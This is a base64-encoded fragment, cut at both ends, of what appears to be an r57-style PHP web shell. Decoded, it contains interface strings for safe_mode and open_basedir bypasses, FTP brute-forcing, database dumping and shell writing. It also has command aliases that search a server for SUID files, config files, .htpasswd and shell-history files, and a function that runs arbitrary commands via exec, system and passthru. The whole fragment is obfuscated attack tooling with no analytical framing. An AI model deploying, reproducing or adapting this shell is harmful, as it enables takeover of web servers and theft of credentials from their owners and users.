NVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbCAtIGVkaXRlZCBieSBBbHVjYXInLA0KJ2VuZ190ZXh0MzYnPT4nRGIgLiBUYWJsZScsDQonZW5nX3RleHQzNyc9PidMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidEYXRhYmFzZScsDQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDknID0+J0R1bXAnLA0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEwJz0+J1NhdmUnLA0KJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLA0KJ2VuZ190ZXh0NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsDQonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsDQonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQonZW5nX3RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsDQonZW5nX2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NTYnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidlbmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTknPT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaXInLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxldGVkJywNCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsDQonZW5nX3RleHQ2Nic9PidEZWxldGUnLA0KJ2VuZ190ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLA0KJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsDQonZW5nX3RleHQ2OSc9PidwYXJhbTEnLA0KJ2VuZ190ZXh0NzAnPT4ncGFyYW0yJywNCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLA0KJ2VuZ190ZXh0NzInPT4nVGV4dCBmb3IgZmluZCcsDQonZW5nX3RleHQ3Myc9PidGaW5kIGluIGZvbGRlcicsDQonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywNCidlbmdfdGV4dDc1Jz0+JyogeW91IGNhbiB1c2UgcmVnZXhwJywNCidlbmdfdGV4dDc2Jz0+J1NlYXJjaCB0ZXh0IGluIGZpbGVzIHZpYSBmaW5kJywNCidlbmdfdGV4dDgwJz0+J1R5cGUnLA0KJ2VuZ190ZXh0ODEnPT4nTmV0JywNCidlbmdfdGV4dDgyJz0+J0RhdGFiYXNlcycsDQonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywNCidlbmdfdGV4dDg0Jz0+J1NRTCBxdWVyeScsDQonZW5nX3RleHQ4NSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLA0KJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLA0KJ2VuZ19idXR0MTQnPT4nRG93bmxvYWQnLA0KJ2VuZ190ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZlcicsDQonZW5nX3RleHQ4OCc9PidGVFAtc2VydmVyOnBvcnQnLA0KJ2VuZ190ZXh0ODknPT4nRmlsZSBvbiBmdHAnLA0KJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsDQonZW5nX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Mic9Pid3aXRob3V0IGFyY2hpdmF0aW9uJywNCidlbmdfdGV4dDkzJz0+J0ZUUCcsDQonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsDQonZW5nX3RleHQ5NSc9PidVc2VycyBsaXN0JywNCidlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nyc9PidjaGVja2VkOiAnLA0KJ2VuZ190ZXh0OTgnPT4nc3VjY2VzczogJywNCidlbmdfdGV4dDk5Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dvcmQnLA0KJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsDQonZW5nX3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSkgbG9naW4gZm9yIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMic9PidNYWlsJywNCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywNCidlbmdfdGV4dDEwNCc9PidTZW5kIGZpbGUgdG8gZW1haWwnLA0KJ2VuZ190ZXh0MTA1Jz0+J1RvJywNCidlbmdfdGV4dDEwNic9PidGcm9tJywNCidlbmdfdGV4dDEwNyc9PidTdWJqJywNCidlbmdfYnV0dDE1Jz0+J1NlbmQnLA0KJ2VuZ190ZXh0MTA4Jz0+J01haWwnLA0KJ2VuZ190ZXh0MTA5Jz0+J0hpZGUnLA0KJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLA0KJ2VuZ190ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywNCidlbmdfdGV4dDExMic9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBmdW5jdGlvbiBtYl9zZW5kX21haWwnLA0KJ2VuZ190ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0JywNCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHknLA0KJ2VuZ190ZXh0MTE1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgY29weSBmaWxlIHZpYSBjb21wcmVzcy56bGliOi8vIGluIGZ1bmN0aW9uIGNvcHkoKScsDQonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywNCidlbmdfdGV4dDExNyc9Pid0bycsDQonZW5nX3RleHQxMTgnPT4nRmlsZSBjb3BpZWQnLA0KJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywNCidlbmdfdGV4dDEyMCc9PidTUUwtU2VydmVyJywNCidlbmdfdGV4dDEyMSc9PidCeXBhc3MgcGhwIDUuMi42JywNCidlbmdfdGV4dDEyMic9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLA0KJ2VuZ190ZXh0MTIzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgdmlldyBkaXIgbGlzdCB2aWEgcmVhbHBhdGgoKSAoUEhQIDw9IDUuMi40KScsDQonZW5nX3RleHQxMjQnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGhbTlVMTC1ieXRlXSAoUEhQIDw9IDUuMi4wKScsDQonZW5nX3RleHQxMjUnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGgoVE1QRElSKSAoUEhQIDw9IDUuMi40KScsDQonZW5nX3RleHQxMjYnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBhZGQgZGF0YSB0byBmaWxlIHZpYSByZWFkZmlsZShwaHA6Ly8pIChQSFAgPD0gNS4yLjEsIDQuNC40KScsDQonZW5nX3RleHQxMjcnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgZm9wZW4oc3JwYXRoOi8vKSAoUEhQIHY1LjIuMCkgJywNCidlbmdfdGV4dDEyOCc9PidEYXRhJywNCidlbmdfdGV4dDEyOSc9PidEaWN0aW9uYXJ5JywNCidlbmdfdGV4dDEzMCc9PidEb1MnLA0KJ2VuZ190ZXh0MTMxJz0+J0RhbmdlciEgV2ViLWRhZW1vbiBjcmFzaCBwb3NzaWJsZS4nLA0KJ2VuZ19lcnIwJz0+J0Vycm9yISBDYW5cJ3Qgd3JpdGUgaW4gZmlsZSAnLA0KJ2VuZ19lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsDQonZW5nX2VycjInPT4nRXJyb3IhIENhblwndCBjcmVhdGUgJywNCidlbmdfZXJyMyc9PidFcnJvciEgQ2FuXCd0IGNvbm5lY3QgdG8gZnRwJywNCidlbmdfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLA0KJ2VuZ19lcnI1Jz0+J0Vycm9yISBDYW5cJ3QgY2hhbmdlIGRpciBvbiBmdHAnLA0KJ2VuZ19lcnI2Jz0+J0Vycm9yISBDYW5cJ3Qgc2VudCBtYWlsJywNCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLA0KJ2VuZ190ZXh0MjAwJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBjb3B5KCknLA0KJ2VuZ190ZXh0MjAyJz0+J3doZXJlIGZpbGUgaW4gc2VydmVyJywNCidlbmdfdGV4dDMwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY3VybCgpJywNCidlbmdfdGV4dDIwMyc9PidyZWFkIGZpbGUgZnJvbSB2dWwgaW5pX3Jlc3RvcmUoKScsDQonZW5nX3RleHQyMDQnPT4nd3JpdGUgc2hlbGwgZnJvbSB2dWwgZXJyb3JfbG9nKCknLA0KJ2VuZ190ZXh0MjA1Jz0+J3dyaXRlIHNoZWxsIGluIHRoaXMgc2lkZScsDQonZW5nX3RleHQyMDYnPT4ncmVhZCBkaXInLA0KJ2VuZ190ZXh0MjA3Jz0+J3JlYWQgZGlyIGZyb20gdnVsIHJlZ19nbG9iJywNCidlbmdfdGV4dDIwOCc9PidleGVjdXRlIHdpdGggZnVuY3Rpb24nLA0KJ2VuZ190ZXh0MjA5Jz0+J3JlYWQgZGlyIGZyb20gdnVsIHJvb3QnLA0KJ2VuZ190ZXh0MjEwJz0+J0RlWmVuZGVyICcsDQonZW5nX3RleHQyMTEnPT4nOjpzYWZlX21vZGUgb2ZmOjonLA0KJ2VuZ190ZXh0MjEyJz0+J0Nsb3NlIHNhZmVfbW9kZSB3aXRoIHBocC5pbmknLA0KJ2VuZ190ZXh0MjEzJz0+J0Nsb3NlIHNlY3VyaXR5X21vZCB3aXRoIC5odGFjY2VzcycsDQonZW5nX3RleHQyMTQnPT4nQWRtaW4gbmFtZScsDQonZW5nX3RleHQyMTUnPT4nSVJDIHNlcnZlciAnLA0KJ2VuZ190ZXh0MjE2Jz0+JyNyb29tIG5hbWUnLA0KJ2VuZ190ZXh0MjE3Jz0+J3NlcnZlcicsDQonZW5nX3RleHQyMTgnPT4nd3JpdGUgaW5pLnBocCBmaWxlIHRvIGNsb3NlIHNhZmVfbW9kZSB3aXRoIGluaV9yZXN0b3JlIHZ1bCcsDQonZW5nX3RleHQyMTknPT4nR2V0IGZpbGUgdG8gc2VydmVyIGluIHNhZmVfbW9kZSBhbmQgY2hhbmdlIG5hbWUnLA0KJ2VuZ190ZXh0MjIwJz0+J3Nob3cgZmlsZSB3aXRoIHN5bWxpbmsgdnVsJywNCidlbmdfdGV4dDIyMSc9Pid6aXAgZmlsZSBpbiBzZXJ2ZXIgdG8gZG93bmxvYWQnLA0KJ2VuZ190ZXh0MjIyJz0+JzIgc3ltbGluayB1c2UgdnVsJywNCidlbmdfdGV4dDIyMyc9PidyZWFkIGZpbGUgZnJvbSBmdW5jdXRpb24nLA0KJ2VuZ190ZXh0MjI0Jz0+J3JlYWQgZmlsZSBmcm9tIFBMVUdJTicsDQonZW5nX3RleHQyMjUnID0+ICdodGFjY2VzcyBzYWZlbW9kZSBhbmQgb3Blbl9iYXNlZGlyIGJ5cGFzcycsDQonZW5nX3RleHQyMjYnID0+ICdXcml0ZSB0byBmaWxlJywNCidlbmdfdGV4dDIyNycgPT4gJ0NvbnRlbnQnLA0KJ2VuZ190ZXh0MjI4JyA9PiAnU1NJIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjI5JyA9PiAnQ09NIGZ1bmN0aW9ucyBzYWZlX21vZGUgYW5kIGRpc2FibGVfZnVuY3Rpb24gYnlwYXNzJywNCidlbmdfdGV4dDIzMCcgPT4gJ2lvbkN1YmUgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMxJyA9PiAnd2luMzJzdGQgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMyJyA9PiAnd2luMzJzZXJ2aWNlIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMycgPT4gJ3BlcmwgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjM0JyA9PiAnRkZJIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEzNyc9PidVc2VmdWwnLA0KJ2VuZ190ZXh0MTM4Jz0+J0Rhbmdlcm91cycsDQonZW5nX3RleHQxNDInPT4nRG93bmxvYWRlcnMnLA0KJ2VuZ19idXR0NjUnPT4nV3JpdGUnLA0KKTsNCiRhbGlhc2VzPWFycmF5KA0KJ2ZpbmQgc3VpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywNCidmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzZ2lkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMnPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMnPT4nZmluZCAvIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLA0KJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsDQonZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgYWxsIC5teXNxbF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0KJ2xpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtJz0+J2xzYXR0ciAtdmEnLA0KJ3Nob3cgb3BlbmVkIHBvcnRzJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4nLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0KKTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrDQo+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBjbGFzcz10dCBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluPiI7DQokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsNCiRhcnJvdyA9ICIgPGZvbnQgZmFjZT1XZWJkaW5ncyBjb2xvcj1XaGl0ZT40PC9mb250PiI7DQokbGIgPSAiPGZvbnQgY29sb3I9V2hpdGU+WzwvZm9udD4iOw0KJHJiID0gIjxmb250IGNvbG9yPVdoaXRlPl08L2ZvbnQ+IjsNCiRmb250ID0gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7DQokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRlID0gIjwvdGFibGU+IjsNCiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0NCiBlbHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsnZGlyJ10pKSB7IEBjaGRpcigkX1BPU1RbJ2RpciddKTsgfQ0KJGRpciA9IEBnZXRjd2QoKTsNCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZGlyKT4xICYmICRkaXJbMV09PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRpcikpDQogew0KICRvcyA9IGdldGVudignT1MnKTsNCiBpZihlbXB0eSgkb3MpKXsgJG9zID0gcGhwX3VuYW1lKCk7IH0NCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0NCiBlbHNlDQogICAgew0KICAgIGlmKEBlcmVnaSgiXndpbiIsJG9zKSkgeyAkdW5peCA9IDA7IH0NCiAgICBlbHNlIHsgJHVuaXggPSAxOyB9DQogICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ3NfZGlyJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NfdGV4dCddKSAmJiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAic2VhcmNoX3RleHQiKQ0KICB7DQogICAgZWNobyAkaGVhZDsNCiAgICBpZighZW1wdHkoJF9QT1NUWydzX21hc2snXSkgJiYgIWVtcHR5KCRfUE9TVFsnbSddKSkgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddLCRfUE9TVFsnc19tYXNrJ10pOyB9DQogICAgZWxzZSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9DQogICAgJHNyLT5TZWFyY2hUZXh0KDAsMCk7DQogICAgJHJlcyA9ICRzci0+R2V0UmVzdWx0RmlsZXMoKTsNCiAgICAkZm91bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOw0KICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygpOw0KICAgICRyID0gIiI7DQogICAgaWYoJGZvdW5kID4gMCkNCiAgICB7DQogICAgICAkciAuPSAiPFRBQkxFIHdpZHRoPTEwMCU+IjsNCiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpDQogICAgICB7DQogICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluIGNvbHNwYW49Mj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMpOw0KICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7DQogICAgICAgICRyIC49ICI8L2I+PC9mb250PjwvIFREPiI7DQogICAgICAgICRyIC49ICI8L1RSPiI7DQogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQ0KICAgICAgICB7DQogICAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIud3MoMikuJGIuIjwvZm9udD48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICAkciAuPSAiPC9UQUJMRT4iOw0KICAgIGVjaG8gJHI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+IjsNCiAgICB9DQogIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogIGRpZSgpOw0KICB9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc